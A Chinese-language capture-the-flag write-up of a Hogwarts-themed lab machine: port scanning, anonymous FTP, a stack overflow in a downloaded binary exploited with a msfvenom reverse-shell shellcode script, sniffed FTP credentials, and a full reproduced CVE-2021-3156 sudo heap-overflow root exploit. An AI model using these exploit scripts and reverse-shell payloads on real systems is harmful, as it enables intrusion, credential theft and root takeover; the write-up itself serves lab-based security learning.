攻击机
192.168.223.128目标机192.168.223.143
主机发现
nmap -sP 192.168.223.0/24
端口扫描
nmap -sV -p- -A 192.168.223.143
开启了21 22 80 2222 9898 五个端口，其中21端口可以匿名FTP登录，好像有点说法,百度搜索一下发现可以用anonymous登录，尝试一下
ftp连接方式是ftp IP
ftp 192.168.223.143
用户名anonymous
密码随便输
可以看到有个server_hogwarts文件
get到本地
get server_hogwarts
看一下是什么文件
vim打开文件头有一个ELF，应该是一个可执行文件，用file看一下，果然是。
运行一下试试，发现没有权限，赋个权
没反应，一直在后台运行
用ps看一下后台程序
ps用法
ps aux: 显示当前用户的所有进程信息
ps aux | grep <进程名>: 通过进程名过滤查看特定进程的信息
其他查看后台程序还可以用pgrep,top,htop,jobs,pstree
ps aux | grep server_hogwarts
只能看到程序在运行，好像没什么用
ss -pantu | grep server_hogwarts可以查看当前系统上网络连接的情况
连接了9898端口，这个端口我们在扫描端口时候发现，是monkeycom服务
既然是本地文件执行，我们本地开个监听端口看看这个服务是什么
nc 127.0.0.1 9898
好像pwn题😓
随便输入了一下好像不太行
感觉像缓冲区溢出漏洞
用edb-debugger动调看看吧
首先关闭kali的ALSR
echo 0 >/proc/sys/kernel/randomize_va_space
edb打开调试界面
连接一下
我不会汇编，看了别人的wp跟着一步步看一步步学
点击这个开始进程
想找到缓冲区溢出漏洞，需要填充大量数据找到溢出位置
先用python生成500个A
python
print('A'*500)
将500个A填入输入位置，发现了报错
提示0×41414141的内存位置出现了错误，说明这里就是溢出报错位置，点击ok具体查看
在x86架构的汇编语言中，EIP（Extended Instruction Pointer）是一个32位寄存器，用于存储下一条即将执行的指令的地址。EIP指向当前正在执行的指令的下一条指令，因此它起到了指令流的控制作用。ESP是存储具体指令的作用，但是这里ESP被A覆盖了。
那么就可以通过修改EIP，使指令跳转到目标ESP
但是现在还没有找到缓存区溢出的位置，现在通过传入不相同的垃圾数据找到溢出位置
使用msf-pattern_create生成500个不同字符串
msf-pattern_create -l 500将垃圾数据填入重新调试
现在是0×64413764有问题
用msf-pattern_offset找到这个内存位置在输入区的位置
msf-pattern_offset -l 500 -q 64413764
偏移量是112，那么0x64413764就在第113个位置。
现在还需要找到EIP的写入地址，使得ESP只想EIP，这样就能执行到EIP的指令了。
见如下操作
选择ESP-EIP 的跳转，并且有读和执行权限的
这个jmp esp就是跳转地址
0x08049455，机器码是反写的，所以实际地址是0x55 0x9d 0x04 0x08这个就是跟在112条垃圾数据后满的地址，即ESP 的内容，接下里是要执行的指令。
用msfvenom来生成一串python的十六进制payload来反弹shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.223.128 LPORT=4567 -b "\x00" -f python
抄个python脚本
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
s=socket.socket()
s.connect(('192.168.223.143',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()执行payload，拿到shell
可以看到一个隐藏txt文件
应该是一个密码HarrYp0tter@Hogwarts123
ssh连接一下Harry看看，发现连不上，想到之前扫描端口的时候还有个2222端口开启了ssh服务
连接一下2222端口，连接成功
ssh harry@192.168.223.143 -p 2222
看到主机名字可以认出这是一个docker服务
sudo -l发现执行权限是所有人
直接sudo -s提升到root权限
sudo -s 是在 Linux 系统中使用 sudo 命令来启动一个新的 shell 进程，并将该 shell 进程的用户权限提升为超级用户（root）
sudo -s
成功拿到第一个flag
看一下note有啥
这句话让我们分析FTP上面的流量
先查一下有什么网卡
ip a
eth0网卡
流量分析
tcpdump -i eth0 port 21
在三次握手包发现账号密码 neville/bL!Bsg3k,用ssh连接一下,这里22端口连接成功
ssh neville@192.168.223.143 
拿到第二个flag
接下来最终提权，这里用到一个CVE-2021-3156，是一个基于堆的缓冲区溢出漏洞
因为sudo版本是1.8.27
exp
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 (github.com)
靶机的sudo目录是/usr/local/bin/sudo 而exp是/usr/bin/sudo所以修改一下exp
#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
SUDO_PATH = b"/usr/local/bin/sudo"
libc = cdll.LoadLibrary("libc.so.6")
# don't use LC_ALL (6). it override other LC_
LC_CATS = [
b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]
def check_is_vuln():
# below commands has no log because it is invalid argument for both patched and unpatched version
# patched version, error because of '-s' argument
# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.dup2(w, 2)
execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
exit(0)
# parent
os.close(w)
os.waitpid(pid, 0)
r = os.fdopen(r, 'r')
err = r.read()
r.close()
if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
return True
assert err.startswith('usage: ') or "invalid mode flags " in err, err
return False
def create_libx(name):
so_path = 'libnss_'+name+'.so.2'
if os.path.isfile(so_path):
return # existed
so_dir = 'libnss_' + name.split('/')[0]
if not os.path.exists(so_dir):
os.makedirs(so_dir)
import zlib
import base64
libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
with open(so_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(libx_b64)))
#os.chmod(so_path, 0o755)
def check_nscd_condition():
if not os.path.exists('/var/run/nscd/socket'):
return True # no socket. no service
# try connect
import socket
sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
try:
sk.connect('/var/run/nscd/socket')
except:
return True
else:
sk.close()
with open('/etc/nscd.conf', 'r') as f:
for line in f:
line = line.strip()
if not line.startswith('enable-cache'):
continue # comment
service, enable = line.split()[1:]
# in fact, if only passwd is enabled, exploit with this method is still possible (need test)
# I think no one enable passwd but disable group
if service == 'passwd' and enable == 'yes':
return False
# group MUST be disabled to exploit sudo with nss_load_library() trick
if service == 'group' and enable == 'yes':
return False
return True
def get_libc_version():
output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
for line in output.split('\n'):
if line.startswith('ldd '):
ver_txt = line.rsplit(' ', 1)[1]
return list(map(int, ver_txt.split('.')))
return None
def check_libc_version():
version = get_libc_version()
assert version, "Cannot detect libc version"
# this exploit only works which glibc tcache (added in 2.26)
return version[0] >= 2 and version[1] >= 26
def check_libc_tcache():
libc.malloc.argtypes = (c_int,)
libc.malloc.restype = c_void_p
libc.free.argtypes = (c_void_p,)
# small bin or tcache
size1, size2 = 0xd0, 0xc0
mems = [0]*32
# consume all size2 chunks
for i in range(len(mems)):
mems[i] = libc.malloc(size2)
mem1 = libc.malloc(size1)
libc.free(mem1)
mem2 = libc.malloc(size2)
libc.free(mem2)
for addr in mems:
libc.free(addr)
return mem1 != mem2
def get_service_user_idx():
'''Parse /etc/nsswitch.conf to find a group entry index
'''
idx = 0
found = False
with open('/etc/nsswitch.conf', 'r') as f:
for line in f:
if line.startswith('#'):
continue # comment
line = line.strip()
if not line:
continue # empty line
words = line.split()
if words[0] == 'group:':
found = True
break
for word in words[1:]:
if word[0] != '[':
idx += 1
assert found, '"group" database is not found. might be exploitable but no test'
return idx
def get_extra_chunk_count(target_chunk_size):
# service_user are allocated by calling getpwuid()
# so we don't care allocation of chunk size 0x40 after getpwuid()
# there are many string that size can be varied
# here is the most common
chunk_cnt = 0
# get_user_info() -> get_user_groups() ->
gids = os.getgroups()
malloc_size = len("groups=") + len(gids) * 11
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here
if chunk_size == target_chunk_size: chunk_cnt += 1
# host=<hostname> (unlikely)
# get_user_info() -> sudo_gethostname()
import socket
malloc_size = len("host=") + len(socket.gethostname()) + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
# simply parse "networks=" from "ip addr" command output
# another workaround is bruteforcing with number of 0x70
# policy_open() -> format_plugin_settings() ->
# a value is created from "parse_args() -> get_net_ifs()" with very large buffer
try:
import ipaddress
except:
return chunk_cnt
cnt = 0
malloc_size = 0
proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line.startswith('inet'):
continue
if cnt < 2: # skip first 2 address (lo interface)
cnt += 1
continue;
addr = line.split(' ', 2)[1]
mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
malloc_size += addr.index('/') + 1 + len(mask)
cnt += 1
malloc_size += len("network_addrs=") + cnt - 3 + 1
chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
if chunk_size == target_chunk_size: chunk_cnt += 1
proc.wait()
return chunk_cnt
def execve(filename, argv, envp):
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
libc.execve(filename, cargv, cenvp)
def lc_env(cat_id, chunk_len):
name = b"C.UTF-8@"
name = name.ljust(chunk_len - 0x18, b'Z')
return LC_CATS[cat_id]+b"="+name
assert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")
# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten
CHUNK_CMND_SIZE = 0xf0
# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):
# skip LC_ALL (6)
env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
env.append(lc_env(2, 0x20)) # for filling hole
for i in range(11, 11-extra_chunk_cnt, -1):
env.append(lc_env(i, CHUNK_CMND_SIZE))
env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:") # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)
execve(SUDO_PATH, argv, env)用scp传到靶机
scp exp.py neville@192.168.223.143:~
执行拿到root权限，进而拿到第三个flag
chmod +x exp.py
./exp.py
总结：
1.ftp匿名登录拿到ELF文件
2.本地edb动调，缓冲区溢出漏洞，计算偏移量，找ESP跳转地址，msfvenom生成反弹shell字节，编写py脚本拿到shell
3.2222端口连接，sudo -s提升root权限
4.FTP流量分析，拿到账号密码连接ssh
5.sudo CVE-2021-3156提权
